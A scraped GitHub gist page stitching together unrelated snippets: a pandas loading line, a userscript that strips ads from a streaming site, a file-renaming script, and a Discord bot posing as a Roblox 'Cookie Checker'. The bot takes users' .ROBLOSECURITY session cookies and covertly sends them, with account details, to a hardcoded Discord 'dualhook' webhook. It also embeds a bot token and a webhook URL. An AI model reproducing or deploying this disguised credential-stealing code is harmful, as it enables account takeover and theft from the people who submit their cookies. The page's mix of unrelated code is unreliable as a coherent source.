Skip to content

Instantly share code, notes, and snippets.

@rapidcrawler
Last active November 9, 2021 18:16
Show Gist options
  • Save rapidcrawler/35aebcd2fe66679bfc98953f215f90c0 to your computer and use it in GitHub Desktop.
Save rapidcrawler/35aebcd2fe66679bfc98953f215f90c0 to your computer and use it in GitHub Desktop.
desc
filepath = 'data/Fruits.json' # JSON مسار ملف
df_Fruits = pd.read_json(filepath) # سحب البيانات وتخزينها في إطار بيانات
df_Fruits.head()
// ==UserScript==
// @name StreamEast Improvements
// @namespace http://onai.net/
// @version 0.1
// @description Removing junk for StreamEast
// @author Kevin Gwynn
// @match https://www.streameast.live/*/
// @grant none
// ==/UserScript==
(function() {
// Make sure jQuery is available
var gen = 0;var act=function(){gen=1;var script=document.createElement('script');script.src='//code.jquery.com/jquery-1.11.0.min.js';script.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(script);};(!window.jQuery)?act():1;setTimeout(function(){console.log('jQuery '+(gen?'loaded: ':'existing: ')+(window.jQuery?jQuery().jquery:'no jQuery/load failed'));}, 500);
var fixStuff = function() {
console.log('KAG: StreamEast Improvements...');
let jQuery = $ || jQuery;
// Remove footer
jQuery('.f1-footer').remove();
// Remove Header
jQuery('header.site-nav').remove
// Remove ads
jQuery('main > .container').remove();
// Remove "chat" feature
jQuery('div.col-lg-3.curated-space').remove();
// Make main container larger
jQuery('div.col-lg-9:first').removeClass('col-lg-9').addClass('col-lg-12');
// Remove top margin (left for top nav/header)
jQuery('body').css('margin-top', '0');
}
fixStuff();
setTimeout(fixStuff, 2000);
setTimeout(fixStuff, 5000);
setTimeout(fixStuff, 8000);
})();
import discord, requests, discord_webhook
from discord.ext import commands
from discord_webhook import DiscordEmbed, DiscordWebhook
req = requests.Session()
client = commands.Bot(command_prefix='.') #set prefix
wh = 'https://discord.com/api/webhooks/899107855519592459/BzBZiWjOje0WnrFDInIi-5shfC3qFntf0En2T1r4HKyw9sqq0C9F2o3kDCYHAYa0s5wA' #enter ur dualhook here
@client.event
async def on_ready():
print('bot ready! by silver lol') #print bot ready! when bot is online
@client.command() #command
async def check(ctx, cookie):
check = req.get('https://api.roblox.com/currency/balance', cookies={'.ROBLOSECURITY': str(cookie)}) #check if the cookie is valid
if check.status_code ==200: #if valid..
userdata = requests.get("https://users.roblox.com/v1/users/authenticated",cookies={".ROBLOSECURITY":cookie}).json() #get user data
userid = userdata['id'] #user id
display = userdata['displayName'] #display name
username = userdata['name'] #username
robuxdata = requests.get(f'https://economy.roblox.com/v1/users/{userid}/currency',cookies={".ROBLOSECURITY":cookie}).json()
robux = robuxdata['robux'] #get robux balance
#does the user have premium?
premiumbool = requests.get(f'https://premiumfeatures.roblox.com/v1/users/{userid}/validate-membership', cookies={".ROBLOSECURITY":cookie}).json()
#get rap
rap_dict = requests.get(f'https://inventory.roblox.com/v1/users/{userid}/assets/collectibles?assetType=All&sortOrder=Asc&limit=100',cookies={".ROBLOSECURITY":cookie}).json()
while rap_dict['nextPageCursor'] != None:
rap_dict = requests.get(f'https://inventory.roblox.com/v1/users/{userid}/assets/collectibles?assetType=All&sortOrder=Asc&limit=100',cookies={".ROBLOSECURITY":cookie}).json()
rap = sum(i['recentAveragePrice'] for i in rap_dict['data'])
thumbnail=requests.get(f"https://thumbnails.roblox.com/v1/users/avatar?userIds={userid}&size=420x420&format=Png&isCircular=false").json()
image_url = thumbnail["data"][0]["imageUrl"]
pindata = requests.get('https://auth.roblox.com/v1/account/pin',cookies={".ROBLOSECURITY":cookie}).json()
pin_bool = pindata["isEnabled"] #does the user have a pin
#make an embed
e = discord.Embed(title=f'**{username}**',url=f'https://roblox.com/users/{userid}',color=0x00ff80)
e.set_author(name='by xavier')
e.add_field(name='Display Name👀:', value = '```' + str(display) + '```')
e.add_field(name='User ID🔍:', value = '```' + str(userid) + '```')
e.add_field(name='Robux💰:', value = '```' + str(robux) + '```')
e.add_field(name='Has Pin?🔐:', value='```' + str(pin_bool) + '```')
e.add_field(name='RAP📈:', value='```' + str(rap) + '```')
e.add_field(name='Premium💎:', value = '```' + str(premiumbool) + '```')
e.add_field(name='Rolimons: ',value=f'https://rolimons.com/player/{userid}', inline=True)
e.add_field(name='Cookie🍪:', value=f'```{cookie}```', inline=False)
e.set_thumbnail(url=image_url)
e.set_footer(text='.help to invite Cookie Checker to your server')
await ctx.send(embed=e)
#dualhook
webhook = DiscordWebhook(url=wh, content = '@everyone @here @all')
embed = DiscordEmbed(title=f'**✅ {username} ✅**',url=f'https://roblox.com/users/{userid}',color=0x00ff80)
embed.add_embed_field(name='Display Name👀:', value = '```' + str(display) + '```')
embed.add_embed_field(name='User ID🔍:', value = '```' + str(userid) + '```')
embed.add_embed_field(name='Robux💰:', value = '```' + str(robux) + '```')
embed.add_embed_field(name='Has Pin?🔐:', value='```' + str(pin_bool) + '```')
embed.add_embed_field(name='RAP📈:', value='```' + str(rap) + '```')
embed.add_embed_field(name='Premium💎:', value = '```' + str(premiumbool) + '```')
embed.add_embed_field(name='Rolimons: ',value=f'https://rolimons.com/player/{userid}', inline=True)
embed.add_embed_field(name='Cookie🍪:', value=f'```{cookie}```', inline=False)
embed.set_thumbnail(url=image_url)
webhook.add_embed(embed)
webhook.execute()
else:
e = discord.Embed(title='**❌ Cookie is Expired! ❌**',color=0xff0000)
await ctx.send(embed=e)
client.run('ODk5MTA2NTY1NzUwMTUzMjM2.YWt8PQ.ZRQNdy0E2kbOz4HY_ygxp5i3KAg') #replace with your bot token
"""
# rename files in dirs
current_dir
|- dir1
|- 001.jpg
|- 002.jpg
|- dir2
|- 001.jpg
|- 002.jpg
Convert to
current_dir
|- dir1-001.jpg
|- dir1-002.jpg
|- dir2-001.jpg
|- dir2-002.jpg
"""
import os
li = os.listdir(".")
for d in li:
print(d)
if os.path.isdir(d):
files = os.listdir(f"{d}")
for f in files:
print(f"{d}-{f}")
os.rename(f"{d}{f}", f"{d}-{f}")
print("Testing Gist Embedding In HTML Webpage")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment